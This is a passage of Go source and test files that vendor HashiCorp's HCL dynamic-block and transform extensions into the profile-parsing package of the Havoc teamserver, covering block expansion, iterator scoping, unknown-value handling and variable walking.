%#v\nwant: %#v", got, want) } }) } func TestExpandUnknownBodies(t *testing.T) { srcContent := &hcl.BodyContent{ Blocks: hcl.Blocks{ { Type: "dynamic", Labels: []string{"list"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("each.value"), }), }), }, }, }), }, { Type: "dynamic", Labels: []string{"tuple"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("each.value"), }), }), }, }, }), }, { Type: "dynamic", Labels: []string{"set"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("each.value"), }), }), }, }, }), }, { Type: "dynamic", Labels: []string{"map"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))), "labels": hcltest.MockExprList([]hcl.Expression{ hcltest.MockExprLiteral(cty.StringVal("static")), }), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("each.value"), }), }), }, }, }), }, { Type: "dynamic", Labels: []string{"object"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))), "labels": hcltest.MockExprList([]hcl.Expression{ hcltest.MockExprLiteral(cty.StringVal("static")), }), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("each.value"), }), }), }, }, }), }, { Type: "dynamic", Labels: []string{"invalid_list"}, LabelRanges: []hcl.Range{hcl.Range{}}, Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "for_each": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))), }), Blocks: hcl.Blocks{ { Type: "content", Body: hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "val": hcltest.MockExprTraversalSrc("each.value"), // unexpected attributes should still produce an error "invalid": hcltest.MockExprLiteral(cty.StringVal("static")), }), }), }, }, }), }, }, } srcBody := hcltest.MockBody(srcContent) dynBody := Expand(srcBody, nil) t.Run("DecodeList", func(t *testing.T) { decSpec := &hcldec.BlockListSpec{ TypeName: "list", Nested: &hcldec.ObjectSpec{ "val": &hcldec.AttrSpec{ Name: "val", Type: cty.String, }, }, } var got cty.Value var diags hcl.Diagnostics got, _, diags = hcldec.PartialDecode(dynBody, decSpec, nil) if len(diags) != 0 { t.Errorf("unexpected diagnostics") for _, diag := range diags { t.Logf("- %s", diag) } return } want := cty.UnknownVal(cty.List(cty.Object(map[string]cty.Type{ "val": cty.String, }))) if !got.RawEquals(want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, want) } }) t.Run("DecodeTuple", func(t *testing.T) { decSpec := &hcldec.BlockTupleSpec{ TypeName: "tuple", Nested: &hcldec.ObjectSpec{ "val": &hcldec.AttrSpec{ Name: "val", Type: cty.String, }, }, } var got cty.Value var diags hcl.Diagnostics got, _, diags = hcldec.PartialDecode(dynBody, decSpec, nil) if len(diags) != 0 { t.Errorf("unexpected diagnostics") for _, diag := range diags { t.Logf("- %s", diag) } return } want := cty.DynamicVal if !got.RawEquals(want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, want) } }) t.Run("DecodeSet", func(t *testing.T) { decSpec := &hcldec.BlockSetSpec{ TypeName: "tuple", Nested: &hcldec.ObjectSpec{ "val": &hcldec.AttrSpec{ Name: "val", Type: cty.String, }, }, } var got cty.Value var diags hcl.Diagnostics got, _, diags = hcldec.PartialDecode(dynBody, decSpec, nil) if len(diags) != 0 { t.Errorf("unexpected diagnostics") for _, diag := range diags { t.Logf("- %s", diag) } return } want := cty.UnknownVal(cty.Set(cty.Object(map[string]cty.Type{ "val": cty.String, }))) if !got.RawEquals(want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, want) } }) t.Run("DecodeMap", func(t *testing.T) { decSpec := &hcldec.BlockMapSpec{ TypeName: "map", LabelNames: []string{"key"}, Nested: &hcldec.ObjectSpec{ "val": &hcldec.AttrSpec{ Name: "val", Type: cty.String, }, }, } var got cty.Value var diags hcl.Diagnostics got, _, diags = hcldec.PartialDecode(dynBody, decSpec, nil) if len(diags) != 0 { t.Errorf("unexpected diagnostics") for _, diag := range diags { t.Logf("- %s", diag) } return } want := cty.UnknownVal(cty.Map(cty.Object(map[string]cty.Type{ "val": cty.String, }))) if !got.RawEquals(want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, want) } }) t.Run("DecodeInvalidList", func(t *testing.T) { decSpec := &hcldec.BlockListSpec{ TypeName: "invalid_list", Nested: &hcldec.ObjectSpec{ "val": &hcldec.AttrSpec{ Name: "val", Type: cty.String, }, }, } _, _, diags := hcldec.PartialDecode(dynBody, decSpec, nil) if len(diags) != 1 { t.Error("expected 1 extraneous argument") } want := `Mock body has extraneous argument "invalid"` if !strings.Contains(diags.Error(), want) { t.Errorf("unexpected diagnostics: %v", diags) } }) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/expand_spec.go000066400000000000000000000172441467014221700302520ustar00rootroot00000000000000package dynblock import ( "fmt" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" ) type expandSpec struct { blockType string blockTypeRange hcl.Range defRange hcl.Range forEachVal cty.Value iteratorName string labelExprs []hcl.Expression contentBody hcl.Body inherited map[string]*iteration } func (b *expandBody) decodeSpec(blockS *hcl.BlockHeaderSchema, rawSpec *hcl.Block) (*expandSpec, hcl.Diagnostics) { var diags hcl.Diagnostics var schema *hcl.BodySchema if len(blockS.LabelNames) != 0 { schema = dynamicBlockBodySchemaLabels } else { schema = dynamicBlockBodySchemaNoLabels } specContent, specDiags := rawSpec.Body.Content(schema) diags = append(diags, specDiags...) if specDiags.HasErrors() { return nil, diags } //// for_each attribute eachAttr := specContent.Attributes["for_each"] eachVal, eachDiags := eachAttr.Expr.Value(b.forEachCtx) diags = append(diags, eachDiags...) if !eachVal.CanIterateElements() && eachVal.Type() != cty.DynamicPseudoType { // We skip this error for DynamicPseudoType because that means we either // have a null (which is checked immediately below) or an unknown // (which is handled in the expandBody Content methods). diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid dynamic for_each value", Detail: fmt.Sprintf("Cannot use a %s value in for_each. An iterable collection is required.", eachVal.Type().FriendlyName()), Subject: eachAttr.Expr.Range().Ptr(), Expression: eachAttr.Expr, EvalContext: b.forEachCtx, }) return nil, diags } if eachVal.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid dynamic for_each value", Detail: "Cannot use a null value in for_each.", Subject: eachAttr.Expr.Range().Ptr(), Expression: eachAttr.Expr, EvalContext: b.forEachCtx, }) return nil, diags } //// iterator attribute iteratorName := blockS.Type if iteratorAttr := specContent.Attributes["iterator"]; iteratorAttr != nil { itTraversal, itDiags := hcl.AbsTraversalForExpr(iteratorAttr.Expr) diags = append(diags, itDiags...) if itDiags.HasErrors() { return nil, diags } if len(itTraversal) != 1 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid dynamic iterator name", Detail: "Dynamic iterator must be a single variable name.", Subject: itTraversal.SourceRange().Ptr(), }) return nil, diags } iteratorName = itTraversal.RootName() } var labelExprs []hcl.Expression if labelsAttr := specContent.Attributes["labels"]; labelsAttr != nil { var labelDiags hcl.Diagnostics labelExprs, labelDiags = hcl.ExprList(labelsAttr.Expr) diags = append(diags, labelDiags...) if labelDiags.HasErrors() { return nil, diags } if len(labelExprs) > len(blockS.LabelNames) { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extraneous dynamic block label", Detail: fmt.Sprintf("Blocks of type %q require %d label(s).", blockS.Type, len(blockS.LabelNames)), Subject: labelExprs[len(blockS.LabelNames)].Range().Ptr(), }) return nil, diags } else if len(labelExprs) < len(blockS.LabelNames) { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Insufficient dynamic block labels", Detail: fmt.Sprintf("Blocks of type %q require %d label(s).", blockS.Type, len(blockS.LabelNames)), Subject: labelsAttr.Expr.Range().Ptr(), }) return nil, diags } } // Since our schema requests only blocks of type "content", we can assume // that all entries in specContent.Blocks are content blocks. if len(specContent.Blocks) == 0 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing dynamic content block", Detail: "A dynamic block must have a nested block of type \"content\" to describe the body of each generated block.", Subject: &specContent.MissingItemRange, }) return nil, diags } if len(specContent.Blocks) > 1 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extraneous dynamic content block", Detail: "Only one nested content block is allowed for each dynamic block.", Subject: &specContent.Blocks[1].DefRange, }) return nil, diags } return &expandSpec{ blockType: blockS.Type, blockTypeRange: rawSpec.LabelRanges[0], defRange: rawSpec.DefRange, forEachVal: eachVal, iteratorName: iteratorName, labelExprs: labelExprs, contentBody: specContent.Blocks[0].Body, }, diags } func (s *expandSpec) newBlock(i *iteration, ctx *hcl.EvalContext) (*hcl.Block, hcl.Diagnostics) { var diags hcl.Diagnostics var labels []string var labelRanges []hcl.Range lCtx := i.EvalContext(ctx) for _, labelExpr := range s.labelExprs { labelVal, labelDiags := labelExpr.Value(lCtx) diags = append(diags, labelDiags...) if labelDiags.HasErrors() { return nil, diags } var convErr error labelVal, convErr = convert.Convert(labelVal, cty.String) if convErr != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid dynamic block label", Detail: fmt.Sprintf("Cannot use this value as a dynamic block label: %s.", convErr), Subject: labelExpr.Range().Ptr(), Expression: labelExpr, EvalContext: lCtx, }) return nil, diags } if labelVal.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid dynamic block label", Detail: "Cannot use a null value as a dynamic block label.", Subject: labelExpr.Range().Ptr(), Expression: labelExpr, EvalContext: lCtx, }) return nil, diags } if !labelVal.IsKnown() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid dynamic block label", Detail: "This value is not yet known. Dynamic block labels must be immediately-known values.", Subject: labelExpr.Range().Ptr(), Expression: labelExpr, EvalContext: lCtx, }) return nil, diags } labels = append(labels, labelVal.AsString()) labelRanges = append(labelRanges, labelExpr.Range()) } block := &hcl.Block{ Type: s.blockType, TypeRange: s.blockTypeRange, Labels: labels, LabelRanges: labelRanges, DefRange: s.defRange, Body: s.contentBody, } return block, diags } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/expr_wrap.go000066400000000000000000000022451467014221700277630ustar00rootroot00000000000000package dynblock import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) type exprWrap struct { hcl.Expression i *iteration } func (e exprWrap) Variables() []hcl.Traversal { raw := e.Expression.Variables() ret := make([]hcl.Traversal, 0, len(raw)) // Filter out traversals that refer to our iterator name or any // iterator we've inherited; we're going to provide those in // our Value wrapper, so the caller doesn't need to know about them. for _, traversal := range raw { rootName := traversal.RootName() if rootName == e.i.IteratorName { continue } if _, inherited := e.i.Inherited[rootName]; inherited { continue } ret = append(ret, traversal) } return ret } func (e exprWrap) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { extCtx := e.i.EvalContext(ctx) return e.Expression.Value(extCtx) } // UnwrapExpression returns the expression being wrapped by this instance. // This allows the original expression to be recovered by hcl.UnwrapExpression. func (e exprWrap) UnwrapExpression() hcl.Expression { return e.Expression } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/iteration.go000066400000000000000000000030701467014221700277470ustar00rootroot00000000000000package dynblock import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) type iteration struct { IteratorName string Key cty.Value Value cty.Value Inherited map[string]*iteration } func (s *expandSpec) MakeIteration(key, value cty.Value) *iteration { return &iteration{ IteratorName: s.iteratorName, Key: key, Value: value, Inherited: s.inherited, } } func (i *iteration) Object() cty.Value { return cty.ObjectVal(map[string]cty.Value{ "key": i.Key, "value": i.Value, }) } func (i *iteration) EvalContext(base *hcl.EvalContext) *hcl.EvalContext { new := base.NewChild() if i != nil { new.Variables = map[string]cty.Value{} for name, otherIt := range i.Inherited { new.Variables[name] = otherIt.Object() } new.Variables[i.IteratorName] = i.Object() } return new } func (i *iteration) MakeChild(iteratorName string, key, value cty.Value) *iteration { if i == nil { // Create entirely new root iteration, then return &iteration{ IteratorName: iteratorName, Key: key, Value: value, } } inherited := map[string]*iteration{} for name, otherIt := range i.Inherited { inherited[name] = otherIt } inherited[i.IteratorName] = i return &iteration{ IteratorName: iteratorName, Key: key, Value: value, Inherited: inherited, } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/public.go000066400000000000000000000031141467014221700272260ustar00rootroot00000000000000// Package dynblock provides an extension to HCL that allows dynamic // declaration of nested blocks in certain contexts via a special block type // named "dynamic". package dynblock import ( "Havoc/pkg/profile/yaotl" ) // Expand "dynamic" blocks in the given body, returning a new body that // has those blocks expanded. // // The given EvalContext is used when evaluating "for_each" and "labels" // attributes within dynamic blocks, allowing those expressions access to // variables and functions beyond the iterator variable created by the // iteration. // // Expand returns no diagnostics because no blocks are actually expanded // until a call to Content or PartialContent on the returned body, which // will then expand only the blocks selected by the schema. // // "dynamic" blocks are also expanded automatically within nested blocks // in the given body, including within other dynamic blocks, thus allowing // multi-dimensional iteration. However, it is not possible to // dynamically-generate the "dynamic" blocks themselves except through nesting. // // parent { // dynamic "child" { // for_each = child_objs // content { // dynamic "grandchild" { // for_each = child.value.children // labels = [grandchild.key] // content { // parent_key = child.key // value = grandchild.value // } // } // } // } // } func Expand(body hcl.Body, ctx *hcl.EvalContext) hcl.Body { return &expandBody{ original: body, forEachCtx: ctx, } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/schema.go000066400000000000000000000020261467014221700272110ustar00rootroot00000000000000package dynblock import "Havoc/pkg/profile/yaotl" var dynamicBlockHeaderSchema = hcl.BlockHeaderSchema{ Type: "dynamic", LabelNames: []string{"type"}, } var dynamicBlockBodySchemaLabels = &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "for_each", Required: true, }, { Name: "iterator", Required: false, }, { Name: "labels", Required: true, }, }, Blocks: []hcl.BlockHeaderSchema{ { Type: "content", LabelNames: nil, }, }, } var dynamicBlockBodySchemaNoLabels = &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "for_each", Required: true, }, { Name: "iterator", Required: false, }, }, Blocks: []hcl.BlockHeaderSchema{ { Type: "content", LabelNames: nil, }, }, } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/unknown_body.go000066400000000000000000000060221467014221700304650ustar00rootroot00000000000000package dynblock import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // unknownBody is a funny body that just reports everything inside it as // unknown. It uses a given other body as a sort of template for what attributes // and blocks are inside -- including source location information -- but // substitutes unknown values of unknown type for all attributes. // // This rather odd process is used to handle expansion of dynamic blocks whose // for_each expression is unknown. Since a block cannot itself be unknown, // we instead arrange for everything _inside_ the block to be unknown instead, // to give the best possible approximation. type unknownBody struct { template hcl.Body } var _ hcl.Body = unknownBody{} // hcldec.UnkownBody impl func (b unknownBody) Unknown() bool { return true } func (b unknownBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { content, diags := b.template.Content(schema) content = b.fixupContent(content) // We're intentionally preserving the diagnostics reported from the // inner body so that we can still report where the template body doesn't // match the requested schema. return content, diags } func (b unknownBody) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { content, remain, diags := b.template.PartialContent(schema) content = b.fixupContent(content) remain = unknownBody{remain} // remaining content must also be wrapped // We're intentionally preserving the diagnostics reported from the // inner body so that we can still report where the template body doesn't // match the requested schema. return content, remain, diags } func (b unknownBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { attrs, diags := b.template.JustAttributes() attrs = b.fixupAttrs(attrs) // We're intentionally preserving the diagnostics reported from the // inner body so that we can still report where the template body doesn't // match the requested schema. return attrs, diags } func (b unknownBody) MissingItemRange() hcl.Range { return b.template.MissingItemRange() } func (b unknownBody) fixupContent(got *hcl.BodyContent) *hcl.BodyContent { ret := &hcl.BodyContent{} ret.Attributes = b.fixupAttrs(got.Attributes) if len(got.Blocks) > 0 { ret.Blocks = make(hcl.Blocks, 0, len(got.Blocks)) for _, gotBlock := range got.Blocks { new := *gotBlock // shallow copy new.Body = unknownBody{gotBlock.Body} // nested content must also be marked unknown ret.Blocks = append(ret.Blocks, &new) } } return ret } func (b unknownBody) fixupAttrs(got hcl.Attributes) hcl.Attributes { if len(got) == 0 { return nil } ret := make(hcl.Attributes, len(got)) for name, gotAttr := range got { new := *gotAttr // shallow copy new.Expr = hcl.StaticExpr(cty.DynamicVal, gotAttr.Expr.Range()) ret[name] = &new } return ret } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/variables.go000066400000000000000000000173611467014221700277310ustar00rootroot00000000000000package dynblock import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // WalkVariables begins the recursive process of walking all expressions and // nested blocks in the given body and its child bodies while taking into // account any "dynamic" blocks. // // This function requires that the caller walk through the nested block // structure in the given body level-by-level so that an appropriate schema // can be provided at each level to inform further processing. This workflow // is thus easiest to use for calling applications that have some higher-level // schema representation available with which to drive this multi-step // process. If your application uses the hcldec package, you may be able to // use VariablesHCLDec instead for a more automatic approach. func WalkVariables(body hcl.Body) WalkVariablesNode { return WalkVariablesNode{ body: body, includeContent: true, } } // WalkExpandVariables is like Variables but it includes only the variables // required for successful block expansion, ignoring any variables referenced // inside block contents. The result is the minimal set of all variables // required for a call to Expand, excluding variables that would only be // needed to subsequently call Content or PartialContent on the expanded // body. func WalkExpandVariables(body hcl.Body) WalkVariablesNode { return WalkVariablesNode{ body: body, } } type WalkVariablesNode struct { body hcl.Body it *iteration includeContent bool } type WalkVariablesChild struct { BlockTypeName string Node WalkVariablesNode } // Body returns the HCL Body associated with the child node, in case the caller // wants to do some sort of inspection of it in order to decide what schema // to pass to Visit. // // Most implementations should just fetch a fixed schema based on the // BlockTypeName field and not access this. Deciding on a schema dynamically // based on the body is a strange thing to do and generally necessary only if // your caller is already doing other bizarre things with HCL bodies. func (c WalkVariablesChild) Body() hcl.Body { return c.Node.body } // Visit returns the variable traversals required for any "dynamic" blocks // directly in the body associated with this node, and also returns any child // nodes that must be visited in order to continue the walk. // // Each child node has its associated block type name given in its BlockTypeName // field, which the calling application should use to determine the appropriate // schema for the content of each child node and pass it to the child node's // own Visit method to continue the walk recursively. func (n WalkVariablesNode) Visit(schema *hcl.BodySchema) (vars []hcl.Traversal, children []WalkVariablesChild) { extSchema := n.extendSchema(schema) container, _, _ := n.body.PartialContent(extSchema) if container == nil { return vars, children } children = make([]WalkVariablesChild, 0, len(container.Blocks)) if n.includeContent { for _, attr := range container.Attributes { for _, traversal := range attr.Expr.Variables() { var ours, inherited bool if n.it != nil { ours = traversal.RootName() == n.it.IteratorName _, inherited = n.it.Inherited[traversal.RootName()] } if !(ours || inherited) { vars = append(vars, traversal) } } } } for _, block := range container.Blocks { switch block.Type { case "dynamic": blockTypeName := block.Labels[0] inner, _, _ := block.Body.PartialContent(variableDetectionInnerSchema) if inner == nil { continue } iteratorName := blockTypeName if attr, exists := inner.Attributes["iterator"]; exists { iterTraversal, _ := hcl.AbsTraversalForExpr(attr.Expr) if len(iterTraversal) == 0 { // Ignore this invalid dynamic block, since it'll produce // an error if someone tries to extract content from it // later anyway. continue } iteratorName = iterTraversal.RootName() } blockIt := n.it.MakeChild(iteratorName, cty.DynamicVal, cty.DynamicVal) if attr, exists := inner.Attributes["for_each"]; exists { // Filter out iterator names inherited from parent blocks for _, traversal := range attr.Expr.Variables() { if _, inherited := blockIt.Inherited[traversal.RootName()]; !inherited { vars = append(vars, traversal) } } } if attr, exists := inner.Attributes["labels"]; exists { // Filter out both our own iterator name _and_ those inherited // from parent blocks, since we provide _both_ of these to the // label expressions. for _, traversal := range attr.Expr.Variables() { ours := traversal.RootName() == iteratorName _, inherited := blockIt.Inherited[traversal.RootName()] if !(ours || inherited) { vars = append(vars, traversal) } } } for _, contentBlock := range inner.Blocks { // We only request "content" blocks in our schema, so we know // any blocks we find here will be content blocks. We require // exactly one content block for actual expansion, but we'll // be more liberal here so that callers can still collect // variables from erroneous "dynamic" blocks. children = append(children, WalkVariablesChild{ BlockTypeName: blockTypeName, Node: WalkVariablesNode{ body: contentBlock.Body, it: blockIt, includeContent: n.includeContent, }, }) } default: children = append(children, WalkVariablesChild{ BlockTypeName: block.Type, Node: WalkVariablesNode{ body: block.Body, it: n.it, includeContent: n.includeContent, }, }) } } return vars, children } func (n WalkVariablesNode) extendSchema(schema *hcl.BodySchema) *hcl.BodySchema { // We augment the requested schema to also include our special "dynamic" // block type, since then we'll get instances of it interleaved with // all of the literal child blocks we must also include. extSchema := &hcl.BodySchema{ Attributes: schema.Attributes, Blocks: make([]hcl.BlockHeaderSchema, len(schema.Blocks), len(schema.Blocks)+1), } copy(extSchema.Blocks, schema.Blocks) extSchema.Blocks = append(extSchema.Blocks, dynamicBlockHeaderSchema) return extSchema } // This is a more relaxed schema than what's in schema.go, since we // want to maximize the amount of variables we can find even if there // are erroneous blocks. var variableDetectionInnerSchema = &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "for_each", Required: false, }, { Name: "labels", Required: false, }, { Name: "iterator", Required: false, }, }, Blocks: []hcl.BlockHeaderSchema{ { Type: "content", }, }, } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/variables_hcldec.go000066400000000000000000000031611467014221700312240ustar00rootroot00000000000000package dynblock import ( "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hcldec" ) // VariablesHCLDec is a wrapper around WalkVariables that uses the given hcldec // specification to automatically drive the recursive walk through nested // blocks in the given body. // // This is a drop-in replacement for hcldec.Variables which is able to treat // blocks of type "dynamic" in the same special way that dynblock.Expand would, // exposing both the variables referenced in the "for_each" and "labels" // arguments and variables used in the nested "content" block. func VariablesHCLDec(body hcl.Body, spec hcldec.Spec) []hcl.Traversal { rootNode := WalkVariables(body) return walkVariablesWithHCLDec(rootNode, spec) } // ExpandVariablesHCLDec is like VariablesHCLDec but it includes only the // minimal set of variables required to call Expand, ignoring variables that // are referenced only inside normal block contents. See WalkExpandVariables // for more information. func ExpandVariablesHCLDec(body hcl.Body, spec hcldec.Spec) []hcl.Traversal { rootNode := WalkExpandVariables(body) return walkVariablesWithHCLDec(rootNode, spec) } func walkVariablesWithHCLDec(node WalkVariablesNode, spec hcldec.Spec) []hcl.Traversal { vars, children := node.Visit(hcldec.ImpliedSchema(spec)) if len(children) > 0 { childSpecs := hcldec.ChildBlockTypes(spec) for _, child := range children { if childSpec, exists := childSpecs[child.BlockTypeName]; exists { vars = append(vars, walkVariablesWithHCLDec(child.Node, childSpec)...) } } } return vars } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/dynblock/variables_test.go000066400000000000000000000113351467014221700307630ustar00rootroot00000000000000package dynblock import ( "reflect" "testing" "Havoc/pkg/profile/yaotl/hcldec" "github.com/zclconf/go-cty/cty" "github.com/davecgh/go-spew/spew" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func TestVariables(t *testing.T) { const src = ` # We have some references to things inside the "val" attribute inside each # of our "b" blocks, which should be included in the result of WalkVariables # but not WalkExpandVariables. a { dynamic "b" { for_each = [for i, v in some_list_0: "${i}=${v},${baz}"] labels = ["${b.value} ${something_else_0}"] content { val = "${b.value} ${something_else_1}" } } } dynamic "a" { for_each = some_list_1 content { b "foo" { val = "${a.value} ${something_else_2}" } dynamic "b" { for_each = some_list_2 iterator = dyn_b labels = ["${a.value} ${dyn_b.value} ${b} ${something_else_3}"] content { val = "${a.value} ${dyn_b.value} ${something_else_4}" } } } } dynamic "a" { for_each = some_list_3 iterator = dyn_a content { b "foo" { val = "${dyn_a.value} ${something_else_5}" } dynamic "b" { for_each = some_list_4 labels = ["${dyn_a.value} ${b.value} ${a} ${something_else_6}"] content { val = "${dyn_a.value} ${b.value} ${something_else_7}" } } } } ` f, diags := hclsyntax.ParseConfig([]byte(src), "", hcl.Pos{}) if len(diags) != 0 { t.Errorf("unexpected diagnostics during parse") for _, diag := range diags { t.Logf("- %s", diag) } return } spec := &hcldec.BlockListSpec{ TypeName: "a", Nested: &hcldec.BlockMapSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: &hcldec.AttrSpec{ Name: "val", Type: cty.String, }, }, } t.Run("WalkVariables", func(t *testing.T) { traversals := VariablesHCLDec(f.Body, spec) got := make([]string, len(traversals)) for i, traversal := range traversals { got[i] = traversal.RootName() } // The block structure is traversed one level at a time, so the ordering // here is reflecting first a pass of the root, then the first child // under the root, then the first child under that, etc. want := []string{ "some_list_1", "some_list_3", "some_list_0", "baz", "something_else_0", "something_else_1", // Would not be included for WalkExpandVariables because it only appears in content "some_list_2", "b", // This is correct because it is referenced in a context where the iterator is overridden to be dyn_b "something_else_3", "something_else_2", // Would not be included for WalkExpandVariables because it only appears in content "something_else_4", // Would not be included for WalkExpandVariables because it only appears in content "some_list_4", "a", // This is correct because it is referenced in a context where the iterator is overridden to be dyn_a "something_else_6", "something_else_5", // Would not be included for WalkExpandVariables because it only appears in content "something_else_7", // Would not be included for WalkExpandVariables because it only appears in content } if !reflect.DeepEqual(got, want) { t.Errorf("wrong result\ngot: %swant: %s", spew.Sdump(got), spew.Sdump(want)) } }) t.Run("WalkExpandVariables", func(t *testing.T) { traversals := ExpandVariablesHCLDec(f.Body, spec) got := make([]string, len(traversals)) for i, traversal := range traversals { got[i] = traversal.RootName() } // The block structure is traversed one level at a time, so the ordering // here is reflecting first a pass of the root, then the first child // under the root, then the first child under that, etc. want := []string{ "some_list_1", "some_list_3", "some_list_0", "baz", "something_else_0", "some_list_2", "b", // This is correct because it is referenced in a context where the iterator is overridden to be dyn_b "something_else_3", "some_list_4", "a", // This is correct because it is referenced in a context where the iterator is overridden to be dyn_a "something_else_6", } if !reflect.DeepEqual(got, want) { t.Errorf("wrong result\ngot: %swant: %s", spew.Sdump(got), spew.Sdump(want)) } }) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/transform/000077500000000000000000000000001467014221700256305ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/transform/doc.go000066400000000000000000000005461467014221700267310ustar00rootroot00000000000000// Package transform is a helper package for writing extensions that work // by applying transforms to bodies. // // It defines a type for body transformers, and then provides utilities in // terms of that type for working with transformers, including recursively // applying such transforms as hierarchical block structures are extracted. package transform havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/transform/error.go000066400000000000000000000066301467014221700273150ustar00rootroot00000000000000package transform import ( "Havoc/pkg/profile/yaotl" ) // NewErrorBody returns a hcl.Body that returns the given diagnostics whenever // any of its content-access methods are called. // // The given diagnostics must have at least one diagnostic of severity // hcl.DiagError, or this function will panic. // // This can be used to prepare a return value for a Transformer that // can't complete due to an error. While the transform itself will succeed, // the error will be returned as soon as a caller attempts to extract content // from the resulting body. func NewErrorBody(diags hcl.Diagnostics) hcl.Body { if !diags.HasErrors() { panic("NewErrorBody called without any error diagnostics") } return diagBody{ Diags: diags, } } // BodyWithDiagnostics returns a hcl.Body that wraps another hcl.Body // and emits the given diagnostics for any content-extraction method. // // Unlike the result of NewErrorBody, a body with diagnostics still runs // the extraction actions on the underlying body if (and only if) the given // diagnostics do not contain errors, but prepends the given diagnostics with // any diagnostics produced by the action. // // If the given diagnostics is empty, the given body is returned verbatim. // // This function is intended for conveniently reporting errors and/or warnings // produced during a transform, ensuring that they will be seen when the // caller eventually extracts content from the returned body. func BodyWithDiagnostics(body hcl.Body, diags 